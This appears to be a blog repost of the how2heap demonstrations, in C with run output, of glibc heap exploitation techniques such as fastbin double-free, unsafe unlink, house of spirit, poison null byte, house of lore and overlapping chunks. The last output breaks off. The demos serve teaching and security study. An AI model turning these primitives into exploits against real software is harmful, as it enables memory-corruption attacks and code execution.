how2heap 源码及输出
Posted 君莫笑hhhhhh
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了how2heap 源码及输出相关的知识,希望对你有一定的参考价值。
备个份,慢慢写总结
1 first_fit
1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <string.h> 4 5 int main() 6 { 7 printf("This file doesn‘t demonstrate an attack, but shows the nature of glibc‘s allocator.\n"); 8 printf("glibc uses a first-fit algorithm to select a free chunk.\n"); 9 printf("If a chunk is free and large enough, malloc will select this chunk.\n"); 10 printf("This can be exploited in a use-after-free situation.\n"); 11 12 printf("Allocating 2 buffers. They can be large, don‘t have to be fastbin.\n"); 13 char* a = malloc(512); 14 char* b = malloc(256); 15 char* c; 16 17 printf("1st malloc(512): %p\n", a); 18 printf("2nd malloc(256): %p\n", b); 19 printf("we could continue mallocing here...\n"); 20 printf("now let‘s put a string at a that we can read later \"this is A!\"\n"); 21 strcpy(a, "this is A!"); 22 printf("first allocation %p points to %s\n", a, a); 23 24 printf("Freeing the first one...\n"); 25 free(a); 26 27 printf("We don‘t need to free anything again. As long as we allocate less than 512, it will end up at %p\n", a); 28 29 printf("So, let‘s allocate 500 bytes\n"); 30 c = malloc(500); 31 printf("3rd malloc(500): %p\n", c); 32 printf("And put a different string here, \"this is C!\"\n"); 33 strcpy(c, "this is C!"); 34 printf("3rd allocation %p points to %s\n", c, c); 35 printf("first allocation %p points to %s\n", a, a); 36 printf("If we reuse the first allocation, it now holds the data from the third allocation."); 37 }
1 This file doesn‘t demonstrate an attack, but shows the nature of glibc‘s allocator. 2 glibc uses a first-fit algorithm to select a free chunk. 3 If a chunk is free and large enough, malloc will select this chunk. 4 This can be exploited in a use-after-free situation. 5 Allocating 2 buffers. They can be large, don‘t have to be fastbin. 6 1st malloc(512): 0x1ca3420 7 2nd malloc(256): 0x1ca3630 8 we could continue mallocing here... 9 now let‘s put a string at a that we can read later "this is A!" 10 first allocation 0x1ca3420 points to this is A! 11 Freeing the first one... 12 We don‘t need to free anything again. As long as we allocate less than 512, it will end up at 0x1ca3420 13 So, let‘s allocate 500 bytes 14 3rd malloc(500): 0x1ca3420 15 And put a different string here, "this is C!" 16 3rd allocation 0x1ca3420 points to this is C! 17 first allocation 0x1ca3420 points to this is C! 18 If we reuse the first allocation, it now holds the data from the third allocation.
2 fastbin_dup
1 #include <stdio.h> 2 #include <stdlib.h> 3 4 int main() 5 { 6 printf("This file demonstrates a simple double-free attack with fastbins.\n"); 7 8 printf("Allocating 3 buffers.\n"); 9 int *a = malloc(8); 10 int *b = malloc(8); 11 int *c = malloc(8); 12 13 printf("1st malloc(8): %p\n", a); 14 printf("2nd malloc(8): %p\n", b); 15 printf("3rd malloc(8): %p\n", c); 16 17 printf("Freeing the first one...\n"); 18 free(a); 19 20 printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); 21 // free(a); 22 23 printf("So, instead, we‘ll free %p.\n", b); 24 free(b); 25 26 printf("Now, we can free %p again, since it‘s not the head of the free list.\n", a); 27 free(a); 28 29 printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we‘ll get %p twice!\n", a, b, a, a); 30 printf("1st malloc(8): %p\n", malloc(8)); 31 printf("2nd malloc(8): %p\n", malloc(8)); 32 printf("3rd malloc(8): %p\n", malloc(8)); 33 }
1 This file demonstrates a simple double-free attack with fastbins. 2 Allocating 3 buffers. 3 1st malloc(8): 0x21b4420 4 2nd malloc(8): 0x21b4440 5 3rd malloc(8): 0x21b4460 6 Freeing the first one... 7 If we free 0x21b4420 again, things will crash because 0x21b4420 is at the top of the free list. 8 So, instead, we‘ll free 0x21b4440. 9 Now, we can free 0x21b4420 again, since it‘s not the head of the free list. 10 Now the free list has [ 0x21b4420, 0x21b4440, 0x21b4420 ]. If we malloc 3 times, we‘ll get 0x21b4420 twice! 11 1st malloc(8): 0x21b4420 12 2nd malloc(8): 0x21b4440 13 3rd malloc(8): 0x21b4420
3 fastbin_dup_into_stack
1 #include <stdio.h> 2 #include <stdlib.h> 3 4 int main() 5 { 6 printf("This file extends on fastbin_dup.c by tricking malloc into\n" 7 "returning a pointer to a controlled location (in this case, the stack).\n"); 8 9 unsigned long long stack_var; 10 11 printf("The address we want malloc() to return is %p.\n", 8+(char *)&stack_var); 12 13 printf("Allocating 3 buffers.\n"); 14 int *a = malloc(8); 15 int *b = malloc(8); 16 int *c = malloc(8); 17 18 printf("1st malloc(8): %p\n", a); 19 printf("2nd malloc(8): %p\n", b); 20 printf("3rd malloc(8): %p\n", c); 21 22 printf("Freeing the first one...\n"); 23 free(a); 24 25 printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); 26 // free(a); 27 28 printf("So, instead, we‘ll free %p.\n", b); 29 free(b); 30 31 printf("Now, we can free %p again, since it‘s not the head of the free list.\n", a); 32 free(a); 33 34 printf("Now the free list has [ %p, %p, %p ]. " 35 "We‘ll now carry out our attack by modifying data at %p.\n", a, b, a, a); 36 unsigned long long *d = malloc(8); 37 38 printf("1st malloc(8): %p\n", d); 39 printf("2nd malloc(8): %p\n", malloc(8)); 40 printf("Now the free list has [ %p ].\n", a); 41 printf("Now, we have access to %p while it remains at the head of the free list.\n" 42 "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" 43 "so that malloc will think there is a free chunk there and agree to\n" 44 "return a pointer to it.\n", a); 45 stack_var = 0x20; 46 47 printf("Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); 48 *d = (unsigned long long) (((char*)&stack_var) - sizeof(d)); 49 50 printf("3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8)); 51 printf("4th malloc(8): %p\n", malloc(8)); 52 }
1 This file extends on fastbin_dup.c by tricking malloc into 2 returning a pointer to a controlled location (in this case, the stack). 3 The address we want malloc() to return is 0x7ffcd6095968. 4 Allocating 3 buffers. 5 1st malloc(8): 0x1606420 6 2nd malloc(8): 0x1606440 7 3rd malloc(8): 0x1606460 8 Freeing the first one... 9 If we free 0x1606420 again, things will crash because 0x1606420 is at the top of the free list. 10 So, instead, we‘ll free 0x1606440. 11 Now, we can free 0x1606420 again, since it‘s not the head of the free list. 12 Now the free list has [ 0x1606420, 0x1606440, 0x1606420 ]. We‘ll now carry out our attack by modifying data at 0x1606420. 13 1st malloc(8): 0x1606420 14 2nd malloc(8): 0x1606440 15 Now the free list has [ 0x1606420 ]. 16 Now, we have access to 0x1606420 while it remains at the head of the free list. 17 so now we are writing a fake free size (in this case, 0x20) to the stack, 18 so that malloc will think there is a free chunk there and agree to 19 return a pointer to it. 20 Now, we overwrite the first 8 bytes of the data at 0x1606420 to point right before the 0x20. 21 3rd malloc(8): 0x1606420, putting the stack address on the free list 22 4th malloc(8): 0x7ffcd6095968
4 unsafe_unlink
1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <string.h> 4 #include <stdint.h> 5 6 7 uint64_t *chunk0_ptr; 8 9 int main() 10 { 11 printf("Welcome to unsafe unlink 2.0!\n"); 12 printf("Tested in Ubuntu 14.04/16.04 64bit.\n"); 13 printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n"); 14 printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n"); 15 16 int malloc_size = 0x80; //we want to be big enough not to use fastbins 17 int header_size = 2; 18 19 printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n"); 20 21 chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0 22 uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1 23 printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr); 24 printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr); 25 26 printf("We create a fake chunk inside chunk0.\n"); 27 printf("We setup the ‘next_free_chunk‘ (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n"); 28 chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3); 29 printf("We setup the ‘next_free_chunk‘ (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n"); 30 printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) != False\n"); 31 chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2); 32 printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]); 33 printf("Fake chunk bk: %p\n",(void*) chunk0_ptr[3]); 34 35 printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n"); 36 uint64_t *chunk1_hdr = chunk1_ptr - header_size; 37 printf("We shrink the size of chunk0 (saved as ‘previous_size‘ in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n"); 38 printf("It‘s important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n"); 39 chunk1_hdr[0] = malloc_size; 40 printf("If we had ‘normally‘ freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]); 41 printf("We mark our fake chunk as free by setting ‘previous_in_use‘ of chunk1 as False.\n"); 42 chunk1_hdr[1] &= ~1; 43 44 printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n"); 45 printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n"); 46 free(chunk1_ptr); 47 48 printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n"); 49 char victim_string[8]; 50 strcpy(victim_string,"Hello!~"); 51 chunk0_ptr[3] = (uint64_t) victim_string; 52 53 printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n"); 54 printf("Original value: %s\n",victim_string); 55 chunk0_ptr[0] = 0x4141414142424242LL; 56 printf("New Value: %s\n",victim_string); 57 }
1 Welcome to unsafe unlink 2.0! 2 Tested in Ubuntu 14.04/16.04 64bit. 3 This technique can be used when you have a pointer at a known location to a region you can call unlink on. 4 The most common scenario is a vulnerable buffer that can be overflown and has a global pointer. 5 The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write. 6 7 The global chunk0_ptr is at 0x602060, pointing to 0x233c420 8 The victim chunk we are going to corrupt is at 0x233c4b0 9 10 We create a fake chunk inside chunk0. 11 We setup the ‘next_free_chunk‘ (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P. 12 We setup the ‘next_free_chunk‘ (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P. 13 With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) != False 14 Fake chunk fd: 0x602048 15 Fake chunk bk: 0x602050 16 We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata. 17 We shrink the size of chunk0 (saved as ‘previous_size‘ in chunk1) so that free will think that chunk0 starts where we placed our fake chunk. 18 It‘s important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly 19 If we had ‘normally‘ freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: 0x80 20 We mark our fake chunk as free by setting ‘previous_in_use‘ of chunk1 as False. 21 Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr. 22 You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344 23 At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location. 24 chunk0_ptr is now pointing where we want, we use it to overwrite our victim string. 25 Original value: Hello!~ 26 New Value: BBBBAAAA
5 house_of_spirit
1 #include <stdio.h> 2 #include <stdlib.h> 3 4 int main() 5 { 6 printf("This file demonstrates the house of spirit attack.\n"); 7 8 printf("Calling malloc() once so that it sets up its memory.\n"); 9 malloc(1); 10 11 printf("We will now overwrite a pointer to point to a fake ‘fastbin‘ region.\n"); 12 unsigned long long *a; 13 unsigned long long fake_chunks[10] __attribute__ ((aligned (16))); 14 15 printf("This region must contain two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[7]); 16 17 printf("This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); 18 printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); 19 fake_chunks[1] = 0x40; // this is the size 20 21 printf("The chunk.size of the *next* fake region has be above 2*SIZE_SZ (16 on x64) but below av->system_mem (128kb by default for the main arena) to pass the nextsize integrity checks .\n"); 22 fake_chunks[9] = 0x2240; // nextsize 23 24 printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); 25 printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); 26 a = &fake_chunks[2]; 27 28 printf("Freeing the overwritten pointer.\n"); 29 free(a); 30 31 printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); 32 printf("malloc(0x30): %p\n", malloc(0x30)); 33 }
1 This file demonstrates the house of spirit attack. 2 Calling malloc() once so that it sets up its memory. 3 We will now overwrite a pointer to point to a fake ‘fastbin‘ region. 4 This region must contain two chunks. The first starts at 0x7ffc19bbc3e8 and the second at 0x7ffc19bbc418. 5 This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems. 6 ... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. 7 The chunk.size of the *next* fake region has be above 2*SIZE_SZ (16 on x64) but below av->system_mem (128kb by default for the main arena) to pass the nextsize integrity checks . 8 Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, 0x7ffc19bbc3e8. 9 ... note that the memory address of the *region* associated with this chunk must be 16-byte aligned. 10 Freeing the overwritten pointer. 11 Now the next malloc will return the region of our fake chunk at 0x7ffc19bbc3e8, which will be 0x7ffc19bbc3f0! 12 malloc(0x30): 0x7ffc19bbc3f0
6 poison_null_byte
1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <string.h> 4 #include <stdint.h> 5 #include <malloc.h> 6 7 8 int main() 9 { 10 printf("Welcome to poison null byte 2.0!\n"); 11 printf("Tested in Ubuntu 14.04 64bit.\n"); 12 printf("This technique can be used when you have an off-by-one into a malloc‘ed region with a null byte.\n"); 13 14 uint8_t* a; 15 uint8_t* b; 16 uint8_t* c; 17 uint8_t* b1; 18 uint8_t* b2; 19 uint8_t* d; 20 21 printf("We allocate 0x100 bytes for ‘a‘.\n"); 22 a = (uint8_t*) malloc(0x100); 23 printf("a: %p\n", a); 24 int real_a_size = malloc_usable_size(a); 25 printf("Since we want to overflow ‘a‘, we need to know the ‘real‘ size of ‘a‘ " 26 "(it may be more than 0x100 because of rounding): %#x\n", real_a_size); 27 28 /* chunk size attribute cannot have a least significant byte with a value of 0x00. 29 * the least significant byte of this will be 0x10, because the size of the chunk includes 30 * the amount requested plus some amount required for the metadata. */ 31 b = (uint8_t*) malloc(0x200); 32 33 printf("b: %p\n", b); 34 35 c = (uint8_t*) malloc(0x100); 36 printf("c: %p\n", c); 37 38 uint64_t* b_size_ptr = (uint64_t*)(b - 8); 39 40 /* this technique works by overwriting the size metadata of a free chunk */ 41 free(b); 42 43 printf("b.size: %#lx\n", *b_size_ptr); 44 printf("b.size is: (0x200 + 0x10) | prev_in_use\n"); 45 printf("We overflow ‘a‘ with a single null byte into the metadata of ‘b‘\n"); 46 a[real_a_size] = 0; 47 printf("b.size: %#lx\n", *b_size_ptr); 48 49 uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2; 50 printf("c.prev_size is %#lx\n",*c_prev_size_ptr); 51 b1 = malloc(0x100); 52 53 printf("b1: %p\n",b1); 54 printf("Now we malloc ‘b1‘. It will be placed where ‘b‘ was. " 55 "At this point c.prev_size should have been updated, but it was not: %lx\n",*c_prev_size_ptr); 56 printf("Interestingly, the updated value of c.prev_size has been written 0x10 bytes " 57 "before c.prev_size: %lx\n",*(((uint64_t*)c)-4)); 58 printf("We malloc ‘b2‘, our ‘victim‘ chunk.\n"); 59 60 b2 = malloc(0x80); 61 printf("b2: %p\n",b2); 62 63 memset(b2,‘B‘,0x80); 64 printf("Current b2 content:\n%s\n",b2); 65 66 printf("Now we free ‘b1‘ and ‘c‘: this will consolidate the chunks ‘b1‘ and ‘c‘ (forgetting about ‘b2‘).\n"); 67 68 free(b1); 69 free(c); 70 71 printf("Finally, we allocate ‘d‘, overlapping ‘b2‘.\n"); 72 d = malloc(0x300); 73 printf("d: %p\n",d); 74 75 printf("Now ‘d‘ and ‘b2‘ overlap.\n"); 76 memset(d,‘D‘,0x300); 77 78 printf("New b2 content:\n%s\n",b2); 79 80 printf("Thanks to http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf " 81 "for the clear explanation of this technique.\n"); 82 }
1 Welcome to poison null byte 2.0! 2 Tested in Ubuntu 14.04 64bit. 3 This technique can be used when you have an off-by-one into a malloc‘ed region with a null byte. 4 We allocate 0x100 bytes for ‘a‘. 5 a: 0xc22420 6 Since we want to overflow ‘a‘, we need to know the ‘real‘ size of ‘a‘ (it may be more than 0x100 because of rounding): 0x108 7 b: 0xc22530 8 c: 0xc22740 9 b.size: 0x211 10 b.size is: (0x200 + 0x10) | prev_in_use 11 We overflow ‘a‘ with a single null byte into the metadata of ‘b‘ 12 b.size: 0x200 13 c.prev_size is 0x210 14 b1: 0xc22530 15 Now we malloc ‘b1‘. It will be placed where ‘b‘ was. At this point c.prev_size should have been updated, but it was not: 210 16 Interestingly, the updated value of c.prev_size has been written 0x10 bytes before c.prev_size: f0 17 We malloc ‘b2‘, our ‘victim‘ chunk. 18 b2: 0xc22640 19 Current b2 content: 20 BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB 21 Now we free ‘b1‘ and ‘c‘: this will consolidate the chunks ‘b1‘ and ‘c‘ (forgetting about ‘b2‘). 22 Finally, we allocate ‘d‘, overlapping ‘b2‘. 23 d: 0xc22530 24 Now ‘d‘ and ‘b2‘ overlap. 25 New b2 content: 26 DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD 27 Thanks to http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf for the clear explanation of this technique.
7 house_of_lore
1 /* 2 Advanced exploitation of the House of Lore - Malloc Maleficarum. 3 This PoC take care also of the glibc hardening of smallbin corruption. 4 5 [ ... ] 6 7 else 8 { 9 bck = victim->bk; 10 if (__glibc_unlikely (bck->fd != victim)){ 11 12 errstr = "malloc(): smallbin double linked list corrupted"; 13 goto errout; 14 } 15 16 set_inuse_bit_at_offset (victim, nb); 17 bin->bk = bck; 18 bck->fd = bin; 19 20 [ ... ] 21 22 */ 23 24 #include <stdio.h> 25 #include <stdlib.h> 26 #include <string.h> 27 #include <stdint.h> 28 29 30 int main(int argc, char * argv[]){ 31 32 33 intptr_t* stack_buffer_1[4] = {0}; 34 intptr_t* stack_buffer_2[3] = {0}; 35 36 printf("\nWelcome to the House of Lore\n"); 37 printf("This is a revisited version that bypass also the hardening check introduced by glibc malloc\n"); 38 printf("This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23\n\n"); 39 40 printf("Allocating the victim chunk\n"); 41 intptr_t *victim = malloc(100); 42 printf("Allocated the first small chunk on the heap at %p\n", victim); 43 44 // victim-8 because we need to remove the header size in order to have the absolute address of the chunk 45 intptr_t *victim_chunk = victim-2; 46 47 printf("stack_buffer_1 at %p\n", (void*)stack_buffer_1); 48 printf("stack_buffer_2 at %p\n", (void*)stack_buffer_2); 49 50 printf("Create a fake chunk on the stack"); 51 printf("Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted" 52 "in second to the last malloc, which putting stack address on smallbin list\n"); 53 stack_buffer_1[0] = 0; 54 stack_buffer_1[1] = 0; 55 stack_buffer_1[2] = victim_chunk; 56 57 printf("Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 " 58 "in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake " 59 "chunk on stack"); 60 stack_buffer_1[3] = (intptr_t*)stack_buffer_2; 61 stack_buffer_2[2] = (intptr_t*)stack_buffer_1; 62 63 printf("Allocating another large chunk in order to avoid consolidating the top chunk with" 64 "the small one during the free()\n"); 65 void *p5 = malloc(1000); 66 printf("Allocated the large chunk on the heap at %p\n", p5); 67 68 69 printf("Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim); 70 free((void*)victim); 71 72 printf("\nIn the unsorted bin the victim‘s fwd and bk pointers are nil\n"); 73 printf("victim->fwd: %p\n", (void *)victim[0]); 74 printf("victim->bk: %p\n\n", (void *)victim[1]); 75 76 printf("Now performing a malloc that can‘t be handled by the UnsortedBin, nor the small bin\n"); 77 printf("This means that the chunk %p will be inserted in front of the SmallBin\n", victim); 78 79 void *p2 = malloc(1200); 80 printf("The chunk that can‘t be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2); 81 82 printf("The victim chunk has been sorted and its fwd and bk pointers updated\n"); 83 printf("victim->fwd: %p\n", (void *)victim[0]); 84 printf("victim->bk: %p\n\n", (void *)victim[1]); 85 86 //------------VULNERABILITY----------- 87 88 printf("Now emulating a vulnerability that can overwrite the victim->bk pointer\n"); 89 90 victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack 91 92 //------------------------------------ 93 94 printf("Now allocating a chunk with size equal to the first one freed\n"); 95 printf("This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n"); 96 97 void *p3 = malloc(100); 98 99 100 printf("This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n"); 101 char *p4 = malloc(100); 102 printf("p4 = malloc(100)\n"); 103 104 printf("\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n", 105 stack_buffer_2[2]); 106 107 printf("\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack 108 }
1 Welcome to the House of Lore 2 This is a revisited version that bypass also the hardening check introduced by glibc malloc 3 This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23 4 5 Allocating the victim chunk 6 Allocated the first small chunk on the heap at 0x6ee420 7 stack_buffer_1 at 0x7ffc54c3a090 8 stack_buffer_2 at 0x7ffc54c3a070 9 Create a fake chunk on the stackSet the fwd pointer to the victim_chunk in order to bypass the check of small bin corruptedin second to the last malloc, which putting stack address on smallbin list 10 Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake chunk on stackAllocating another large chunk in order to avoid consolidating the top chunk withthe small one during the free() 11 Allocated the large chunk on the heap at 0x6ee490 12 Freeing the chunk 0x6ee420, it will be inserted in the unsorted bin 13 14 In the unsorted bin the victim‘s fwd and bk pointers are nil 15 victim->fwd: (nil) 16 victim->bk: (nil) 17 18 Now performing a malloc that can‘t be handled by the UnsortedBin, nor the small bin 19 This means that the chunk 0x6ee420 will be inserted in front of the SmallBin 20 The chunk that can‘t be handled by the unsorted bin, nor the SmallBin has been allocated to 0x6ee880 21 The victim chunk has been sorted and its fwd and bk pointers updated 22 victim->fwd: 0x7f9e9ae44bd8 23 victim->bk: 0x7f9e9ae44bd8 24 25 Now emulating a vulnerability that can overwrite the victim->bk pointer 26 Now allocating a chunk with size equal to the first one freed 27 This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer 28 This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk 29 p4 = malloc(100) 30 31 The fwd pointer of stack_buffer_2 has changed after the last malloc to 0x7f9e9ae44bd8 32 33 p4 is 0x7ffc54c3a0a0 and should be on the stack!
8 overlapping_chunks
1 /* 2 3 A simple tale of overlapping chunk. 4 This technique is taken from 5 http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf 6 7 */ 8 9 #include <stdio.h> 10 #include <stdlib.h> 11 #include <string.h> 12 #include <stdint.h> 13 14 int main(int argc , char* argv[]){ 15 16 17 intptr_t *p1,*p2,*p3,*p4; 18 19 printf("\nThis is a simple chunks overlapping problem\n\n"); 20 printf("Let‘s start to allocate 3 chunks on the heap\n"); 21 22 p1 = malloc(0x100 - 8); 23 p2 = malloc(0x100 - 8); 24 p3 = malloc(0x80 - 8); 25 26 printf("The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3); 27 28 memset(p1, ‘1‘, 0x100 - 8); 29 memset(p2, ‘2‘, 0x100 - 8); 30 memset(p3, ‘3‘, 0x80 - 8); 31 32 printf("\nNow let‘s free the chunk p2\n"); 33 free(p2); 34 printf("The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n"); 35 36 printf("Now let‘s simulate an overflow that can overwrite the size of the\nchunk freed p2.\n"); 37 printf("For a toy program, the value of the last 3 bits is unimportant;" 38 " however, it is best to maintain the stability of the heap.\n"); 39 printf("To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse)," 40 " to assure that p1 is not mistaken for a free chunk.\n"); 41 42 int evil_chunk_size = 0x181; 43 int evil_region_size = 0x180 - 8; 44 printf("We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n", 45 evil_chunk_size, evil_region_size); 46 47 *(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2 48 49 printf("\nNow let‘s allocate another chunk with a size equal to the data\n" 50 "size of the chunk p2 injected size\n"); 51 printf("This malloc will be served from the previously freed chunk that\n" 52 "is parked in the unsorted bin which size has been modified by us\n"); 53 p4 = malloc(evil_region_size); 54 55 printf("\np4 has been allocated at %p and ends at %p\n", p4, p4+evil_region_size); 56 printf("p3 starts at %p and ends at %p\n", p3, p3+80); 57 printf("p4 should overlap with p3, in this case p4 includes all p3.\n"); 58 59 printf("\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3," 60 " and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n"); 61 62 printf("Let‘s run through an example. Right now, we have:\n"); 63 printf("p4 = %s\n", (char *)p4); 64 printf("p3 = %s\n", (char *)p3); 65 66 printf("\nIf we memset(p4, ‘4‘, %d), we have:\n", evil_region_size); 67 memset(p4, ‘4‘, evil_region_size); 68 printf("p4 = %s\n", (char *)p4); 69 printf("p3 = %s\n", (char *)p3); 70 71 printf("\nAnd if we then memset(p3, ‘3‘, 80), we have:\n"); 72 memset(p3, ‘3‘, 80); 73 printf("p4 = %s\n", (char *)p4); 74 printf("p3 = %s\n", (char *)p3); 75 }
1 This is a simple chunks overlapping problem 2 3 Let‘s start to allocate 3 chunks on the heap 4 The 3 chunks have been allocated here: 5 p1=0x2288420 6 p2=0x2288520 7 p3=0x2288620 8 9 Now let‘s free the chunk p2 10 The chunk p2 is now in the unsorted bin ready to serve possible 11 new malloc() of its size 12 Now let‘s simulate an overflow that can overwrite the size of the 13 chunk freed p2. 14 For a toy program, the value of the last 3 bits is unimportant; however, it is best to maintain the stability of the heap. 15 To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse), to assure that p1 is not mistaken for a free chunk. 16 We are going to set the size of chunk p2 to to 385, which gives us 17 a region size of 376 18 19 Now let‘s allocate another chunk with a size equal to the data 20 size of the chunk p2 injected size 21 This malloc will be served from the previously freed chunk that 22 is parked in the unsorted bin which size has been modified by us 23 24 p4 has been allocated at 0x2288520 and ends at 0x22890e0 25 p3 starts at 0x2288620 and ends at 0x22888a0 26 p4 should overlap with p3, in this case p4 includes all p3. 27 28 Now everything copied inside chunk p4 can overwrites data on 29 chunk p3, and data written to chunk p3 can overwrite data 30 stored in the p4 chunk. 31 32 Let‘s run through an example. Right now, we have: 33 p4 = x??M4 34 p3 = 333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333q 35 36 If we memset(p4, ‘4‘, 376), we have: 37 p4 = 4444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444q 38 p3 = 